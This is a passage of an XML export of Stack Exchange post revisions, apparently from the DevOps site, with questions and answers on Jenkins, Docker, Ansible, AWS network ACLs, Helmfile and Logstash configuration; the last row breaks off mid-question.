  <row Id="36368" PostHistoryTypeId="5" PostId="4245" RevisionGUID="1a657df0-928d-4e83-a942-15f84ba65707" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Currently what you are asking for is not possible. This is due to the way that the Jenkinsfile is loaded into the pipeline.&#xA;&#xA;&#xA;I think [dolphy][1] said it best on [this StackOverflow answer][2] (I saved this link a while ago to follow it for changes, because I had the same questions):&#xA;&#xA;&gt; Jenkins does not know about the new parameters until it retrieves, parses, and runs the Jenkinsfile, and the only way to do that is to...run a build.&#xA;&gt;&#xA;&gt; In effect, the build history will always be &quot;one run behind&quot; the Jenkinsfile; when you change something in the Jenkinsfile, the next build will run with the &quot;old&quot; Jenkinsfile, but pick up and process the new Jenkinsfile for the build after that.&#xA;&#xA;There is also a [related Jenkins Ticket][3] you can follow&#xA;&#xA;&#xA;  [1]: https://stackoverflow.com/users/772208/dolphy&#xA;  [2]: https://stackoverflow.com/a/46813693/1561176&#xA;  [3]: https://issues.jenkins-ci.org/browse/JENKINS-41929" ContentLicense="CC BY-SA 4.0" />
  <row Id="36369" PostHistoryTypeId="5" PostId="4226" RevisionGUID="fb205bdc-19c6-46a7-adff-7d896944acbf" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Found the origin of the issue, and unless someone else had run into it they wouldn't have known where to look --&#xA;&#xA;check details of `tower-cli --version` and `ansible --version`, as well as `which tower-cli` `which ansible`;  in my case were installed in *different* python environments:&#xA;&#xA;&gt; /usr/lib/python**2.6**/site-packages/ansible&#xA;&gt;&#xA;&gt; /usr/lib/python**3.4**/site-packages/tower_cli&#xA;&#xA;If you cannot see the python version using the above for tower-cli, you can run:&#xA;&#xA;    $ head -n1 `which tower-cli`&#xA;    #!/usr/local/opt/python/bin/python3.7&#xA;    $ &#xA;&#xA;The ansible modules couldn't see the tower_cli python modules as they were in a different python environment.&#xA;&#xA;&#xA;After-the-fact problem origin:  I had installed **`ansible` via `yum`** (package manager), and **`ansible-tower-cli` via `pip`** (python installer).  Being consistent in how you install both to make sure they go to the same environment resolves the issue.&#xA;&#xA;_Centos/RHEL_: `yum install ansible ansible-tower-cli`&#xA;&#xA;-OR-&#xA;&#xA;_Python_:  `pip install ansible`&#xA;&#xA;_Python_:  `pip install ansible-tower-cli`&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36370" PostHistoryTypeId="5" PostId="4831" RevisionGUID="c7259d0b-36f1-4430-a786-4434251aad33" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I am trying to answer a question: &#xA;### Do we need more worker machines to handle current load?&#xA;&#xA;We have a variable number of jobs coming in and each job takes different time. Here is a snapshot of our system for a period 12 hours.&#xA;&#xA;[![Jobs in 8 hours][1]][1]&#xA;&#xA;But the number of jobs in system changes based on day and time.&#xA;&#xA;How can I calculate throughput of our system and build monitoring around max load that our system can handle?&#xA;&#xA;  [1]: https://i.stack.imgur.com/tniGY.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36371" PostHistoryTypeId="5" PostId="4858" RevisionGUID="1229ff8c-8015-492d-8daf-1bb02dcf77c8" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Doing something with `collectd` feeding into Prometheus or datadog is definitely a good idea for gathering metrics, but it doesn't help you with things like the kernel version.  Handling process monitoring might be better handled with nagios or datadog as well.  But for the bulk of what you're doing I'd say that it makes the most sense to stick with ansible.&#xA;&#xA;What you're doing sounds very similar to the [ansible-cmdb project](https://github.com/fboender/ansible-cmdb):&#xA;&#xA;&gt; Ansible-cmdb takes the output of Ansible's fact gathering and converts it into a static HTML overview page (and other things) containing system configuration information.&#xA;&gt;&#xA;&gt; It supports multiple types of output (html, csv, sql, etc) and extending information gathered by Ansible with custom data. For each host it also shows the groups, host variables, custom variables and machine-local facts.&#xA;&#xA;![ansible-cmdb example](https://raw.githubusercontent.com/fboender/ansible-cmdb/master/contrib/screenshot-overview.png)&#xA;&#xA;I've been using this for the last couple of years and it continues to evolve and improve.  I hope you'll find it useful as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="36372" PostHistoryTypeId="5" PostId="4987" RevisionGUID="41bc4537-47b3-47ce-bb00-86c3e106ee9d" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I'm packaging and shipping a custom code base of Wordpress with a Dockerfile in to my private container registry. &#xA;&#xA;Dockerfile:&#xA;&#xA;    FROM wordpress:latest&#xA;    ADD . /var/www/html&#xA;&#xA;Then on the deployment server I just use `docker-compose.yml` and grab my custom image. &#xA;and also I'm mounting this needed directory to host.&#xA;&#xA;docker-compose.yml&#xA;&#xA;    volumes:&#xA;      - .:/var/www/html&#xA;&#xA;&#xA;Container starts and runs without any hustle. However the problem is the code (files, directories) I ported earlier doesn't show on the deployment. Only the official `wordpress:latest` data are there.&#xA;&#xA;What I'm missing here?  &#xA;&#xA; - - -&#xA; **Another try**&#xA;&#xA;   Then I tried something like this. Instead of directly `ADD . /var/www/html/`, I copied code base to another directory `ADD . /app` on build and on the deployment docker-compose.yml, I tried to `cp -a /app/. /var/www/html` with a `command` parameter. Command and `cp` works. However it happens before `wordpress:latest` script runs and it avoid coping official wordpress files, which I don't want. I expect some official files from `wordpress:latest` to be copied to the `/var/www/html/` then my customer data to be copied from `/app`&#xA;&#xA;Whats the missing ingredient here?&#xA;&#xA;However in that case &#xA;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="36373" PostHistoryTypeId="5" PostId="5093" RevisionGUID="0b1da1cc-2067-4048-b208-f6b0e44ba683" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I could not achieve changing the working directory using the suggestion by Vishwas, although I did try creating a Jenkins user inside the container with the same uid as the host. It just didn't work for me. I did however, realize that I didn't actually need to change the directory on the container because the workspace was already in the container.&#xA;&#xA;I'm using the Docker Plugin from CloudBees. After reading their documentation, I realized the workstation folder I thought was on the host machine, was actually in the container. Part of the documentation stated:&#xA;&#xA;&#xA;&gt; The above is a complete Pipeline script. inside will:&#xA;&gt;&#xA;&gt; 1. Automatically grab an agent and a workspace (no extra node block is required).&#xA;&gt; 2. Pull the requested image to the Docker server (if not already cached).&#xA;&gt; 3. Start a container running that image.&#xA;&gt; 4. **Mount the Jenkins workspace as a &quot;volume&quot; inside the container, using the same file path.**&#xA;&#xA;After seeing item number four, I ran `docker container inspect &lt;containerID&gt;` and I saw the workspace `/home/jenkins/workspace` was actually a volume mount that was mapped to the `/home/jenkins/workspace` on the Docker host machine as well. Using this as my workspace, I was able to build the various applications within the container and then moved the results to a second volume used for application collection later in the pipeline. It's not an exact answer to my original question, but it works!&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36374" PostHistoryTypeId="5" PostId="5205" RevisionGUID="f767e131-4e3c-480b-9de3-b5ccc3cc2c17" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I know how to notify build status using the slack notification plugin. I can see`project - #buildnumber Success after 1 min 18 sec (Open)` in my slack channel. But I want the console output to be sent to slack as well (upon failure) instead of a link. I am using free style project since I need some scripts to build my project. The purpose is that I want engineers to know the result of their build without granting them Jenkins access.&#xA;&#xA;## edit:&#xA;if console log can be uploaded as a text, would be also good. Other forms of 'output' would be welcome as well.&#xA;&#xA;## new edit:&#xA;I found the answer by myself." ContentLicense="CC BY-SA 4.0" />
  <row Id="36375" PostHistoryTypeId="5" PostId="5269" RevisionGUID="25f9fc45-4b1c-482d-bc8a-93105c4dfbc1" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="That [doc][1] say next:&#xA;&#xA;&gt;  When running Tomcat on unixes, the console output is usually redirected to the file named catalina.out. The name is configurable using an environment variable. (See the startup scripts). Whatever is written to System.err/out will be caught into that file. That may include:&#xA;&gt;&#xA;&gt;    Uncaught exceptions printed by&#xA;&gt;&#xA;&gt;  - java.lang.ThreadGroup.uncaughtException(..)&#xA;&gt;&#xA;&gt;  -  Thread dumps, if you requested them via a system signal&#xA;&gt;&#xA;&gt;When running as a service on Windows, the console output is also caught and redirected, but the file names are different.&#xA;&gt;&#xA;&gt;The default logging configuration in Apache Tomcat writes the same messages to the console and to a log file. This is great when using Tomcat for development, but usually is not needed in production. &#xA;&#xA;So if you need to catch the same logs which catch analytic software you need read `catalina.out` file.&#xA;&#xA; Think it's will be helpful to you.&#xA;&#xA;  [1]: https://tomcat.apache.org/tomcat-7.0-doc/logging.html#Console" ContentLicense="CC BY-SA 4.0" />
  <row Id="36376" PostHistoryTypeId="5" PostId="5299" RevisionGUID="375c32cc-c109-474b-8c61-23a3fe7a728c" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Azure DevOps supports artifact filters for each environment. Below is screenshot of how to enable the feature.&#xA;&#xA;[![Azure DevOps supports Artifact Filters in Environments][1]][1]&#xA;&#xA;[1]: https://i.stack.imgur.com/oAwV6.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36377" PostHistoryTypeId="5" PostId="5877" RevisionGUID="cd66fc6e-9a20-4589-80f3-0578564a1359" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="&gt; A virtual repository is a collection of local, remote and other virtual repositories accessed through a single logical URL.&#xA;&gt;&#xA;&gt; A virtual repository hides the access details of the underlying repositories letting users work with a single, well-known URL. The underlying participating repositories and their access rules may be changed without requiring any client-side changes.&#xA;&#xA;Quote from the [JFrog Artifactory User Guide][1].&#xA;&#xA;&#xA;  [1]: https://www.jfrog.com/confluence/display/RTF/Virtual+Repositories" ContentLicense="CC BY-SA 4.0" />
  <row Id="36378" PostHistoryTypeId="5" PostId="5951" RevisionGUID="480a3c9e-a790-45f8-9a42-47a078efa661" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="You can use '**Publish Over SSH plugin**'. Using this plugin you can send files and execute the command on the remote server.&#xA;&#xA;[Click Here For install plugin.][1]&#xA;&#xA;&#xA;# Configure&#xA;1.  Click “Manage Jenkins”&#xA;2.  Click “Configure System”&#xA;3.  Go to “Publish over SSH” section&#xA;4.  Enter “/Users/Shared/Jenkins/.ssh/id_rsa” to “Path to Key”&#xA;5.  Click “Add” at “SSH Servers”&#xA;6.  Enter any logical name to “Name”&#xA;7.  Enter IP Address or Hostname of the server to “Hostname”&#xA;8.  Enter the user name to log in to “Username”&#xA;9.  Enter any directory to “Remote Directory”&#xA;10. Click “Test Configuration”&#xA;11. Click “Save” at bottom of the page&#xA;&#xA;[![enter image description here][2]][2]&#xA;&#xA;&#xA;# Create a job&#xA;1. Create or copy a job that can build the WAR correctly.&#xA;2. As I wrote in How to specify a Git tag to be processed, make a job to can specify a &#xA;   tag to be processed.&#xA;3. Click “Add post-build action”&#xA;4. Click “Send build artifacts over SSH”&#xA;5. Enter “Source files”&#xA;6. Enter “Remove prefix”&#xA;7. Enter “Exec command”&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;&#xA;For More reference:&#xA;&#xA;1. https://nozaki.me/roller/kyle/entry/articles-jenkins-sshdeploy&#xA;2. https://medium.com/@weblab_tech/how-to-publish-artifacts-in-jenkins-f021b17fde71&#xA;3. https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin&#xA;&#xA;&#xA;you can also do the same thing in pipeline script, see below images:&#xA;[![enter image description here][4]][4]&#xA;&#xA;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin&#xA;  [2]: https://i.stack.imgur.com/mHsAV.png&#xA;  [3]: https://i.stack.imgur.com/rlpr2.png&#xA;  [4]: https://i.stack.imgur.com/XdynF.png&#xA;&#xA;    node(master)&#xA;    {&#xA;      stage(Deploy)&#xA;      {&#xA;         sshPublisher(publishers: [sshPublisherDesc(configName: 'LAB-35', transfers: [sshTransfer(cleanRemote: false, excludes: '', execCommand: 'apt-get update', execTimeout: 120000, flatten: false, makeEmptyDirs: false, noDefaultExcludes: false, patternSeparator: '[, ]+', remoteDirectory: '', remoteDirectorySDF: false, removePrefix: '', sourceFiles: '*.war')], usePromotionTimestamp: false, useWorkspaceInPromotion: false, verbose: false)])&#xA;      }&#xA;    }&#xA;&#xA;Here configName: 'LAB-35' is your remote ssh server. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36379" PostHistoryTypeId="5" PostId="6018" RevisionGUID="0b08ff27-24d0-4d2e-a4b0-8b6ca027f411" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Have a look at the [Summary Display plugin][1]. Some more details about it (= quote from the linked page):&#xA;&#xA;&gt; ... allows an easy and fully customized build report display.&#xA;&gt;&#xA;&gt; Features&#xA;&gt;&#xA;&gt; - Allow a rich summary report visible from both project and build page&#xA;&gt; - Reports must be written in an XML format according to the syntax described in section Syntax Description&#xA;&gt; - This plugin allow the parsing of several XML files&#xA;&gt; - Reports displayed are ordered according to the XML file names&#xA;&gt; - Element displayed are based on&#xA;&#xA;In general, the answer to such questions is usually found by searching the endless [Jenkins plugin index][2].&#xA;&#xA;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Summary+Display+Plugin&#xA;  [2]: https://plugins.jenkins.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36380" PostHistoryTypeId="5" PostId="6102" RevisionGUID="85a92140-0026-4d3b-9134-7ebdbe9a645d" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Yes, we can block traffic from single IP or IP range. Please follow below steps to do this&#xA;&#xA;&gt;Open **VPC** dashboard&#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;&gt;Open the **Network ACLs** view&#xA;&#xA;[![enter image description here][2]][2]&#xA;&#xA;&gt;Open the ACL editor&#xA;&#xA;1. Select the subnet to which your EC2 instances or load balancers are connected.&#xA;&#xA;2. Click **Inbound Rules**&#xA;&#xA;3. Click **Edit**&#xA;&#xA;[![enter image description here][3]][3]&#xA;&#xA;&gt;Add a rule to block the traffic/IP&#xA;&#xA;You will now see the ACL editor. On the last row, you can add a new rule.&#xA;&#xA;[![enter image description here][4]][4]&#xA;&#xA;Here is how you should fill out the fields:&#xA;&#xA;# Rule&#xA;Use any number less than 100, which is the number of the default accept-all rule. This is important because rules are evaluated in order, and your rule needs to come before the default.&#xA;&#xA;# Type&#xA;Select “All traffic” or Particular Protocol which you want to Block&#xA;&#xA;# Source&#xA;The CIDR you want to block. To match a single IP address, enter it here and append /32. For example, I blocked `22.87.45.187/32`&#xA;&#xA;# Allow/Deny&#xA;Select “DENY”&#xA;&#xA;Now **click Save** and you should see the updated rules table.&#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/4FQ46.png&#xA;  [2]: https://i.stack.imgur.com/AIfeO.png&#xA;  [3]: https://i.stack.imgur.com/n81I6.png&#xA;  [4]: https://i.stack.imgur.com/kF4qy.png&#xA;&#xA;Fore more details visit https://www.serverkaka.com/2018/05/block-traffic-from-single-ip-in-aws.html&#xA;&#xA;&#xA;---&#xA;&#xA;### UPDATE: How to do it in CLI&#xA;&gt; NOTE: This example command includes `--dry-run` option, so it is safe to run. It will not create _NACL_ rule. Run it without this option, if you want to apply it.&#xA;```&#xA;aws ec2 create-network-acl-entry --dry-run --network-acl-id acl-146adb6f --ingress --rule-number 20 --protocol tcp --port-range From=80,To=80 --cidr-block 22.87.45.187/32 --rule-action deny&#xA;```&#xA;More examples:&#xA;https://docs.aws.amazon.com/cli/latest/reference/ec2/create-network-acl-entry.html#examples" ContentLicense="CC BY-SA 4.0" />
  <row Id="36381" PostHistoryTypeId="5" PostId="6298" RevisionGUID="387b332e-ecba-4ad8-abcb-c44596b0022f" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="According to the Docker documentation:&#xA;&#xA;&gt; `docker-compose run` runs a one-time command against a service. [...]&#xA;&gt;&#xA;&gt;Commands you use with `run` start in new containers with configuration defined by that of the service, including volumes, links, and other details. However, there are two important differences.&#xA;&gt;&#xA;&gt; First, the command passed by `run` overrides the command defined in the service configuration. [...]&#xA;&gt;&#xA;&gt; The second difference is that the `docker-compose run` command does not create any of the ports specified in the service configuration. This prevents port collisions with already-open ports. If you do want the service’s ports to be created and mapped to the host, specify the --service-ports flag:&#xA;&gt;&#xA;&gt;`docker-compose run --service-ports web python manage.py shell`&#xA;&gt;&#xA;&gt;Alternatively, manual port mapping can be specified with the `--publish` or `-p` options, just as when using docker run:&#xA;&gt;&#xA;&gt; `docker-compose run --publish 8080:80 -p 2022:22 -p 127.0.0.1:2021:21 web python manage.py shell`&#xA;&#xA;This is meant so that you can run singular commands against an already defined service or services using `docker-compose run`. &#xA;&#xA;For example, lets say you set up a compose file that defines some kind of service. To start the service to run in the background you use `docker-compose -f &lt;FILE&gt; up --detach` but if you wanted to look inside the container using a terminal, you would run `docker-compose run bash`. &#xA;&#xA;The reason for the ports being ignored is `docker-compose run` assumes the container is already set up, and has it's ports set up correctly. If you ran a script that did something involving ports using `docker-compose run /path/to/script.sh` you might not want it to change the ports that were correctly mapped with your `docker-compose up` command. This way, the option makes it so you have to tell docker explicitly &quot;I actually want port mappings to change&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="36382" PostHistoryTypeId="5" PostId="4796" RevisionGUID="f3216f01-5c0e-49bb-8b66-5b7599edbc93" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="**An artifact**&#xA;&#xA;Is something that is produced/generated/crafted out of a specific process&#xA;&gt;Jar out of a Java project build.&#xA;&gt;&#xA;&gt;Question out of your mind&#xA;&gt;&#xA;&gt;Car out of a factory&#xA;&gt;&#xA;&gt;New song&#xA;&#xA;**A repository**&#xA;&#xA;Is a receptacle where things are persisted&#xA;&gt; Github for a Java project.&#xA;&gt;&#xA;&gt;StackExchange for your daunting questions&#xA;&#xA;IN THEORY, an **Artifact**-*ory* would be a repository of artifact where they are persisted and managed throughout their life cycle.&#xA;&#xA;In the context of DevOps, Artifactory is a product that manages binary artifacts. It stores and manages different types (Jar, Python and npm packages, etc...) that you produce out of your builds and re-use at compile or deployment time." ContentLicense="CC BY-SA 4.0" />
  <row Id="36383" PostHistoryTypeId="5" PostId="10780" RevisionGUID="2f61eae7-d808-4f5c-9ce1-d9dea5e3306e" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="This looks to be answered on offcail docs [here](https://kubernetes.io/docs/tasks/administer-cluster/nodelocaldns/)&#xA;&#xA;&gt; NodeLocal DNSCache improves Cluster DNS performance by running a dns caching agent on cluster nodes as a DaemonSet.&#xA;&gt;&#xA;&gt; With this architecture, Pods will reach out to the dns caching agent running on the same node, thereby avoiding iptables DNAT rules and connection tracking. &#xA;&gt;&#xA;&gt; **Having a local cache will help improve the latency.**&#xA;&#xA;&#xA;[![\[\]][1]][1]&#xA;&#xA;Image Reference : https://kubernetes.io/docs/tasks/administer-cluster/nodelocaldns/#architecture-diagram&#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/UQ3Ur.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36384" PostHistoryTypeId="5" PostId="10778" RevisionGUID="e0c9dbbe-5315-4b64-944b-7810d5289c2c" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I would like to Dockerize my existing vuejs app for staging , production and I used multi staged approach to create my app container and I'm using Ubuntu 18.04 and this is my,&#xA;&#xA;### Dockerfile&#xA;&#xA;    # build stage&#xA;    FROM node:lts-alpine as build-stage&#xA;    &#xA;    LABEL maintainer=&quot;servers@xpl.com&quot;&#xA;    &#xA;    WORKDIR /app&#xA;    &#xA;    COPY package*.json ./&#xA;    &#xA;    RUN npm install&#xA;    &#xA;    COPY . ./&#xA;    &#xA;    RUN npm run build&#xA;    &#xA;    # production stage&#xA;    FROM nginx:stable-alpine&#xA;    &#xA;    LABEL maintainer=&quot;servers@xpl.com&quot;&#xA;    &#xA;    COPY --from=build-stage /app/dist/ /app/dist/&#xA;    &#xA;    COPY nginx/nginx.conf /etc/nginx/&#xA;    &#xA;    EXPOSE 80&#xA;&#xA;I don't want to create `docker-compose.yml` file to assign anything and my question would be like , Create `.env` file with hardcoded values.&#xA;&#xA;**i.e**&#xA;&#xA;    VUE_APP_API_ENDPOINT_DOMAIN=VUE_APP_API_ENDPOINT_DOMAIN&#xA;&#xA;  1 .When running npm run build it'll put VUE_APP_API_ENDPOINT_DOMAIN in the dest files.&#xA; &#xA;&#xA; 2 .We need to know which file. Probably index.html I believe.&#xA;&#xA; 3 .We create entry-point.sh script will get all env variables starting with `VUE_APP_` and take it's value. And then using **`sed`** command we find and replace those hard coded variable placeholders in index.html.&#xA;And finally start Nginx.&#xA;&#xA;**I was stuck on step 3 please help me ! Thanks in advanced**" ContentLicense="CC BY-SA 4.0" />
  <row Id="36385" PostHistoryTypeId="5" PostId="6684" RevisionGUID="5270f857-9f4f-4eb1-afaa-654d126179ae" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I have made the scripts and tools that we use to solve these problems opensource on GitHub calling it [OCD][1]. You mention that you have thought the following feels wrong:&#xA;&#xA;&gt; * Store all the environment configurations in separate &quot;configurations&quot; git repo&#xA;&gt;&#xA;&gt; * Use ansible or something similar to store the scripts and configurations for each environment.&#xA;&#xA;With OCD we use [Helmfile][2] which makes it easy to manage many helm release in either one of a small number of simple yaml file. If you are familiar with Ansible then it gives all the benefits of that tool but it only manages helm releases. It makes total sense to put the `helmfile.yml` configuration into Git. These act as the playbooks to setup your environment. They shouldn't live in the application repos it should be in one or more &quot;environments repo(s)&quot;.&#xA;&#xA;We have created a generic chart to install secrets and another to install configmaps. Your folder structure might look like:&#xA;&#xA;```&#xA;|____config&#xA;| |____nexmo.yaml.secret // &lt;- gpg encrypted secret&#xA;| |____reepay.yaml.secret&#xA;| |____backoffice-db.yaml.secret&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 3 secret releases and inline configmaps&#xA;|____backoffice-app&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xA;|____frontoffice-app&#xA;| |____helmfile.yaml // &lt;- hemlfile manages 1 app&#xA;```&#xA;&#xA;In the above example, we have three helmfiles. There is one that manages shared configuration and one each for two apps that use the shared config. Since shared config is going to be multipe secret and configmaps it just uses the two generic charts. It uses the [generic secret chart][3] to stamp out many separately [encrypted secrets][4] using different values files. Likewise, one [generic configmap chart][5] is used to stamp out many configmaps by feeding it different values.&#xA;&#xA;With OCD you setup webhooks on your config repo to point at an [adnanh/webhook][6]. When you push a change to the config repo the webhook fires. The webhook runs a script to checkout the config repo, decrypt the secrets, then does `helmfile apply` in each folder that has a `helmfile.yaml`. That does a helm diff on every release in each helmfile and so will upgrade any secrets, configmaps or application deployments where the yaml has changed. &#xA;&#xA;We have a wizard script to install the webhook into a new environment. This means that a team can spin up a new environment using the config in git quickly. Since it is loading the config from git it is an accurate process. Here is a video of [setting up a new environment in six minutes][7] which would be quicker if I was not making a video. &#xA;&#xA;Helmfile reduces the burden of having to go through all the files to try to find all the settings to change for a new team environment. The `helmfile.yaml` captures whatever you are overriding over the chart defaults. All the configmaps and secrets are organised to be easily found in one place. Helmfile has quite a lot of capabilities that make managing config and managing many helm releases easier.  &#xA;&#xA;We happen to be using openshift kubernetes so our application deployment chart for microservices uses openshift specific yaml. Yet the secrets and configmaps charts are vanilla k8s. So the OCD approach and scripts to manage config should work with any k8s distro. We plan to have a 1.0 release of OCD in the next couple of weeks. I was considering doing a demo of running OCD on vanilla k8s to manage configuration. So I would be really interested in your thoughts and perhaps we can collaborate. Just raise an issue on the ocd-meta github asking about running it on the version of k8s you are using. &#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [2]: https://github.com/roboll/helmfile&#xA;  [3]: https://github.com/ocd-scm/ocd-secret&#xA;  [4]: https://github.com/ocd-scm/ocd-meta/wiki/Encrypting-Secrets#introduction&#xA;  [5]: https://github.com/ocd-scm/ocd-configmap&#xA;  [6]: https://github.com/adnanh/webhook&#xA;  [7]: https://vimeo.com/manage/318887046/general" ContentLicense="CC BY-SA 4.0" />
  <row Id="36386" PostHistoryTypeId="5" PostId="6830" RevisionGUID="6d62e7c0-6770-40a5-86f3-677679f4d639" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="There's no &quot;easiest&quot; way per se, there's the better way for you.&#xA;I'd recommend using a configuration management tool like Chef or Puppet (for a pull model) for which there's already resources to configure and handle logstash restarts.&#xA;&#xA;That said logstash is able to watch its config file and reload it itself, quoting elastic.co documentation:&#xA;&#xA;&gt; Starting with Logstash 2.3, you can set Logstash to detect and reload configuration changes automatically.&#xA;&gt;&#xA;&gt; To enable automatic config reloading, start Logstash with the `--config.reload.automatic` (or `-r`) command-line option specified. For example:&#xA;&gt;&#xA;&gt;     bin/logstash –f apache.config --config.reload.automatic&#xA;&#xA;So you may just set a crontab to `git pull` your repository periodically and have logstash reload itself.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36387" PostHistoryTypeId="5" PostId="6868" RevisionGUID="90dcee63-ccc6-429b-8fe3-24777b379d57" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="#  &#xA;Hi, I'm trying to deploy my app to production with Docker, but I struggle a lot. Here is the structure from the root folder :  &#xA;&#xA;- a **server** folder : runs with Express on port 4000  &#xA;- a **web** folder : a React app running on 3000 (locally), that needs to run on 80 on my server  &#xA;- a **docker-compose.prod.yml** file in the root folder&#xA;&#xA;What I'm currently trying :  &#xA;&#xA; - the **docker-compose.prod.yml** is running a Postgres service (port 5432), as well as web and server's respective Dockerfile&#xA; - a Dockerfile in both web and server folders&#xA; - I `yarn build` both server and web folders locally and send everything on my server &#xA; - on my server, I run `docker build -f web/Dockerfile.prod -t app_web ./web` and `docker build -f server/Dockerfile.prod -t app_server ./server` to build both images&#xA; - finally, I run `docker-compose -f docker-compose.prod.yml up`&#xA;&#xA;**My problem :**  &#xA;&#xA;The `server` container throws `Error: Cannot find module '...'` although I run `yarn install --production` in its Dockerfile (it may be related to volumes?)&#xA;&#xA;Also, when I run `docker run -it -p 80:80 app_web` and `docker-compose up`, the web container acts differently when visiting my server IP address : in the first case, the app displays well, in the second case, a page is listing my web folder content (all files and folders)&#xA; &#xA;I'd really appreciate help as I'm a bit new to Docker in production (should I use docker machine? are my folders structure / docker-compose / Dockerfiles wrong?) &#xA;&#xA;&#xA;**docker-compose.prod.yml** :&#xA;```&#xA;version: &quot;3&quot;&#xA;services:&#xA;  db:&#xA;    image: postgres:latest&#xA;    restart: on-failure&#xA;    environment:&#xA;      POSTGRES_DB: ${DB_NAME}&#xA;      POSTGRES_USER: ${DB_NAME}&#xA;      POSTGRES_PASSWORD: ${DB_PASSWORD}&#xA;    ports:&#xA;      - 5432:5432&#xA;    volumes:&#xA;      - ./.db/data:/var/lib/postgresql/data&#xA;&#xA;  server:&#xA;    container_name: app_server&#xA;    build:&#xA;      context: ./server&#xA;      dockerfile: Dockerfile.prod&#xA;    volumes:&#xA;      - ./server:/app/server&#xA;    ports:&#xA;      - 4000:4000&#xA;    depends_on:&#xA;      - db&#xA;&#xA;  web:&#xA;    container_name: app_web&#xA;    build:&#xA;      context: ./web&#xA;      dockerfile: Dockerfile.prod&#xA;    volumes:&#xA;      - ./web:/app/web&#xA;    ports:&#xA;      - 80:80&#xA;    depends_on:&#xA;      - db&#xA;```&#xA;&#xA;**server/Dockerfile.prod** :&#xA;```&#xA;FROM mhart/alpine-node:11 AS builder&#xA;WORKDIR /app/server&#xA;COPY package.json ./&#xA;RUN yarn install --production&#xA;COPY . .&#xA;&#xA;FROM mhart/alpine-node&#xA;WORKDIR /app/server&#xA;COPY --from=builder /app/server .&#xA;CMD [&quot;node&quot;, &quot;/app/server/dist&quot;]&#xA;```&#xA;&#xA;**web/Dockerfile.prod** :&#xA;```&#xA;FROM mhart/alpine-node:11 AS builder&#xA;WORKDIR /app/web&#xA;COPY package.json .&#xA;RUN yarn install --production&#xA;COPY . .&#xA;&#xA;FROM mhart/alpine-node&#xA;RUN yarn global add serve&#xA;WORKDIR /app/web&#xA;COPY --from=builder /app/web/build .&#xA;CMD [&quot;serve&quot;, &quot;-p&quot;, &quot;80&quot;, &quot;-s&quot;, &quot;.&quot;]&#xA;```&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36388" PostHistoryTypeId="5" PostId="8157" RevisionGUID="b64c32ba-2a9b-460f-ba68-28d4b03b0e42" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="## Situation&#xA;&#xA;My CI pipeline needs to do the following:&#xA;&#xA;- log into a VM and have access to a bash terminal&#xA;- run a bash script that launches a Docker container with parameters (e.g. `-it` mode or providing the IP address of the machine that the tests will attack)&#xA;- from within that Docker container, launch a series of tests. &#xA;&#xA;The Docker container is built in such a way that it maps the current directory of the VM from which I'm doing the `docker run`, and then it navigates to the tests folder and launches them. &#xA;&#xA;## What I currently have&#xA;&#xA;I created a GitLab runner in shell mode. I'm able to launch the container throughout the script but as soon as it succeeded, it exits the container and therefore I can't run my tests.&#xA;&#xA;## Constraints&#xA;&#xA;I don't have the Dockerfile of this docker image, only the container. I can't edit the file to provide the parameters in it. &#xA;&#xA;How could I run that docker container without having it to stop? I figured two ways of doing it but I didn't manage to make either of them work:&#xA;&#xA;1. **Configure the runner to work with these input parameters** → so far I didn't figure how to do this. In the `gitlab-runner register` all I seem to be able to do is to specify that this is a Docker container, I can't provide parameters on 